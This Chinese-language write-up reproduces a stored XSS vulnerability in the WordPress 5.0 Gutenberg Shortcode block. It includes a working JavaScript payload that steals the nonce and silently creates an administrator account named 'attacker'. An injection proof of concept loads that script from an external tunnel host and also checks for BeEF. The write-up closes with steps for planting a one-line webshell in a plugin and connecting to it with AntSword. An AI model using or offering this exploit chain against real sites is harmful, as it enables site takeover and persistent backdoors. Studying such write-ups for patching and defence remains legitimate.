前言
该漏洞是由于WordPress 5.0新出的Gutenberg编辑器引发的XSS漏洞。该编辑器没有过滤Shortcode错误消息中的JavaScript/HTML代码。因此,有Contributor或更高权限的攻击者就可以在访问被黑页面的受害者浏览器中执行任意JS/HTML代码。
漏洞影响范围:
WordPress 5.0到5.0.4,5.1和5.1.1版本。
漏洞复现
环境搭建
根据漏洞概述下载了wordpress5.0.1,把文件放在phpstudy,访问wordpress安装页面,根据说明修改wp-config-sample.php配置文件,填写相关信息
漏洞分析
当在Shortcode块中添加特定的HTML编码字符(比如<)然后重新打开该文章时,WordPress就会显示一个错误消息,将<解码成<然后展示预览。
于是插入以下代码:
<img src=x onerror=alert(1)>
成功弹窗,可以执行js代码。
漏洞利用
利用xss创建一个具有管理员权限的账号
攻击者可以在其Web服务器上托管JavaScript文件。此JavaScript代码将添加一个WordPress管理员帐户,其用户名为“attacker”,密码为“attacker”。
// Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
然后,攻击者可以在JavaScript中注入以下代码,poc:
"><img src=1 onerror="javascript:(function () { var url = 'http://27571i1u31.wicp.vip/add.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">
高权限用户查看该文章,就会创建attacker管理员账户:
管理员权限账号登陆后getshell
获得管理员权限之后可以编辑插件文件和主题
于是修改插件,写入一句话:
找到文件路径,使用蚁剑连接: